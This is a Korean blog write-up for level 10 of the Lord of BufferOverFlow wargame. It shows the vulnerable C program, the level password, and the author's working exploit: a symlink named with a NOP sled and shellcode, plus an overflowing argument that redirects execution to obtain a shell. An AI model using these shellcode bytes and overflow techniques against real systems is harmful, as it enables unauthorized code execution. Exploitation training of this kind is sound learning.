[Lord Of BufferOverFlow] 10번 vampire -> skeleton

2021. 2. 26. 17:28·Write-Up/LOB(lord of bufferoverflow)
반응형

login : vampire

password : music world

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

 ultra argv hunter가

argv[0] , argv[1] , argv[2]..... 들어오는 매개변수마다 다 초기화시켜버린다.

쉘코드를 넣을곳을 찾아야하는데 딱히 어디에 넣어야하는지 감이 오지않는다.

 

argv[1]에 "a"*44+\xbf\xbf\xbf\xbf를 넣어서 실행시키고 esp를 확인해보니

실행파일 경로가 argv[0]에 저장되어있지 않고 다른곳에도 저장되어있다.

orge때 풀었던 심볼릭 링크를 걸어서 문제를 풀면될것같다.

 

ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

코어분석

gdb -q -c core

 

다시 본파일로 넘어와서 다시 심볼릭링크 걸어주고

./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "a"*44+"\xb0\xff\xff\xbf"'`

를 똭 하면 풀릴줄알았다;

근데 하루종일 segmentation fault가 떳다;

 

왜그러는지 모르겠지만 쉘코드를

byte : 70

\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6

이용해서 풀었다.

 

 

./`python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "a"*44 + "\x4f\xff\xff\xbf"'`

 

shellcoder

 

 

반응형

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글

[Lord Of BufferOverFlow] 12번 golem -> darkknight  (0) 2021.03.01
[Lord Of BufferOverFlow] 11번 skeleton -> golem  (0) 2021.02.27
[Lord Of BufferOverFlow] 9번 troll -> vampire  (0) 2021.02.26
[Lord Of BufferOverFlow] 8번 orge -> troll  (0) 2021.02.26
[Lord Of BufferOverFlow] 7번 darkelf -> orge  (0) 2021.02.26
'Write-Up/LOB(lord of bufferoverflow)' 카테고리의 다른 글
  • [Lord Of BufferOverFlow] 12번 golem -> darkknight
  • [Lord Of BufferOverFlow] 11번 skeleton -> golem
  • [Lord Of BufferOverFlow] 9번 troll -> vampire
  • [Lord Of BufferOverFlow] 8번 orge -> troll
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    DB정리
    쿠폰발급
    spring
    ReentrantLock
    thread-safe
    코드트리조별과제
    Lock
    CountDownLatch
    computeifpresent()
    putval()
    ConcurrentHashMap
    동시성처리
    computeifabsent()
    nop sled
    동시성
    LOB
    concurrenthashmap vs hashmap
    코드트리
    spring boot
    enumerate #list comprehension
    sqlinjection
    reentrantlock실습
    computeifabsent
    computeifpresent
    lord of bufferoverflow
    tabat
    SpringBoot
    Java
    hashmap vs concurrenthashmap
    AQS
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord Of BufferOverFlow] 10번 vampire -> skeleton
상단으로

티스토리툴바